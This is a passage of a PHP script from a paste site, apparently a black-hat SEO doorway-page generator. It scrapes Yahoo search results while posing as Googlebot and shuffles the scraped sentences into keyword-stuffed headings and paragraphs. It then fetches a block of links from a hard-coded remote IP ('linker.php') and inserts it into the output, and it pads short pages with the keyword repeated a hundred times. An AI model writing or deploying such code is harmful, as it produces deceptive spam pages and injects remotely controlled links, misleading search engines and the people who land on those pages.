  1219. curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=".$query_pars_2."&b=".$pagge."1&pz=10&bct=0&pstart=3");
  1220.  
  1221. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1222.  
  1223. curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
  1224.  
  1225. $result = @curl_exec($ch);
  1226.  
  1227. curl_close($ch);
  1228.  
  1229. }
  1230.  
  1231. else{
  1232.  
  1233. $result = @file_get_contents("http://search.yahoo.com/search?p=".$query_pars_2."&b=".$pagge."1&pz=10&bct=0&pstart=3");
  1234.  
  1235. }
  1236.  
  1237. preg_match_all ("#<p class=\"lh-16\">(.*)</p></div>#iU",$result,$m);
  1238.  
  1239. foreach ($m[1] as $a) $text .= $a;
  1240.  
  1241.  
  1242.  
  1243. }
  1244.  
  1245.  
  1246.  
  1247.  
  1248.  
  1249.  
  1250.  
  1251. }
  1252.  
  1253.  
  1254.  
  1255.  
  1256.  
  1257. $text = str_replace("...", "", $text);
  1258.  
  1259. //$text = strip_tags($text);
  1260.  
  1261. $text = str_replace(" ", " ", $text);
  1262.  
  1263. $text = str_replace(" ", " ", $text);
  1264.  
  1265. $text = str_replace(" ", " ", $text);
  1266.  
  1267. $text = str_replace(" ", " ", $text);
  1268.  
  1269. $text = str_replace(" ", " ", $text);
  1270.  
  1271. $text = str_replace(" ", " ", $text);
  1272.  
  1273. $text = str_replace(" ", " ", $text);
  1274.  
  1275. $text = explode(".", $text);
  1276.  
  1277. shuffle($text);
  1278.  
  1279. $text = array_unique($text);
  1280.  
  1281. $text = implode(". ", $text);
  1282.  
  1283.  
  1284.  
  1285. ///New
  1286.  
  1287.  
  1288.  
  1289. $keyParse = $keyforparse;
  1290.  
  1291. $generickey = array();
  1292.  
  1293. while ( count( $generickey ) < 6 ){
  1294.  
  1295. preg_match_all( "/" . $keyParse . "(.){5,50}(?=\ )/i", strip_tags($text) , $outregexkey, PREG_PATTERN_ORDER);
  1296.  
  1297. $keyParse = substr( $keyParse , 0 , strrpos( $keyParse , ' ' ));
  1298.  
  1299. $generickey = array_unique( $outregexkey[0] );
  1300.  
  1301. }
  1302.  
  1303. shuffle($generickey);
  1304.  
  1305. /*
  1306.  
  1307. preg_match_all( "/(?<=<p>).*?(?=<\/p>)/", $text , $outregextext, PREG_PATTERN_ORDER);
  1308.  
  1309. foreach( $outregextext[0] as $key => $block ){
  1310.  
  1311. $block = explode(".", $block);
  1312.  
  1313. shuffle($block);
  1314.  
  1315. $block = array_unique($block);
  1316.  
  1317. $block = implode(". ", $block);
  1318.  
  1319. $outregextext[0][$key] = $block;
  1320.  
  1321. }
  1322.  
  1323. shuffle($outregextext[0]);
  1324.  
  1325. */
  1326.  
  1327.  
  1328.  
  1329. $text_array = explode(".", $text);
  1330.  
  1331. $text_array = array_slice( $text_array , ( count( $text_array ) - (int)(count( $text_array ) / 4)) );
  1332.  
  1333. $outregextext = array_chunk( $text_array , (int)(count( $text_array ) / 3) );
  1334.  
  1335. //$text = implode(". ", $text_array);
  1336.  
  1337. $text = "";
  1338.  
  1339.  
  1340.  
  1341. for ( $i = 0 ; $i < count($outregextext) ; $i++){
  1342.  
  1343. $z = $i + 1;
  1344.  
  1345. $generickey[$i] = str_replace("/", " ", $generickey[$i]);
  1346.  
  1347. $generickey[$i] = str_replace("\\", " ", $generickey[$i]);
  1348.  
  1349. $generickey[$i] = str_replace(".", " ", $generickey[$i]);
  1350.  
  1351. $generickey[$i] = ucfirst(strtolower($generickey[$i]));
  1352.  
  1353. $key_h = ( $z == 1 ) ? $keyforparse : $generickey[$i];
  1354.  
  1355. $text .= "<h{$z}>" . $key_h . "</h{$z}>" . "<p>" . implode(". ", $outregextext[$i]) . "</p>";
  1356.  
  1357. }
  1358.  
  1359.  
  1360.  
  1361. ///linked
  1362.  
  1363. if (@extension_loaded('curl')){
  1364.  
  1365. $ch1 = @curl_init();
  1366.  
  1367. curl_setopt($ch1, CURLOPT_URL, "http://37.1.200.79/logs2/linker.php" );
  1368.  
  1369. curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
  1370.  
  1371. $linkzzz = @curl_exec($ch1);
  1372.  
  1373. curl_close($ch1);
  1374.  
  1375. }
  1376.  
  1377. else{
  1378.  
  1379. $linkzzz = @file_get_contents( "http://37.1.200.79/logs2/linker.php" );
  1380.  
  1381. }
  1382.  
  1383. /// linked
  1384.  
  1385.  
  1386.  
  1387.  
  1388.  
  1389.  
  1390.  
  1391. $text = "<div>" . $text . $linkzzz . "</div>";
  1392.  
  1393.  
  1394.  
  1395.  
  1396.  
  1397.  
  1398.  
  1399. if (strlen($text)<1000){
  1400.  
  1401. for($i=0; $i<100; $i++){
  1402.  
  1403. $text .=$keyforparse.". ";
  1404.  
  1405. }
  1406.  
  1407. }
  1408.  
  1409.  
  1410.  
  1411.  
  1412.  
  1413. return $text;
  1414.  
  1415. }
  1416.  
  1417. }
  1418.  
  1419.  
  1420.  
  1421. function getcontent2($keyforparse, $cntpages){
  1422.  
  1423. }
  1424.  
  1425.  
  1426.  
  1427. function getcontent3($keyforparse, $cntpages)
  1428.  
  1429. {
  1430.  
  1431. }
  1432.  
  1433.  
  1434.  
  1435. function getcontentaba($keyforparse, $value, $random)
  1436.  
  1437. {
  1438.  
  1439. }
  1440.  
  1441.  
  1442.  
  1443. function generateCharSequence($length)
  1444.  
  1445. {
  1446.  
  1447. //$sequence='';
  1448.  
  1449. $chars = array(/*'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', 'A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', */'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
  1450.  
  1451. for($i=0; $i<$length; $i++) {
  1452.  
  1453. $sequence .= $chars[rand(0, count($chars)-1)];
  1454.  
  1455. }
  1456.  
  1457. return $sequence;
  1458.  
  1459. }
  1460.  
  1461.  
  1462.  
  1463. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement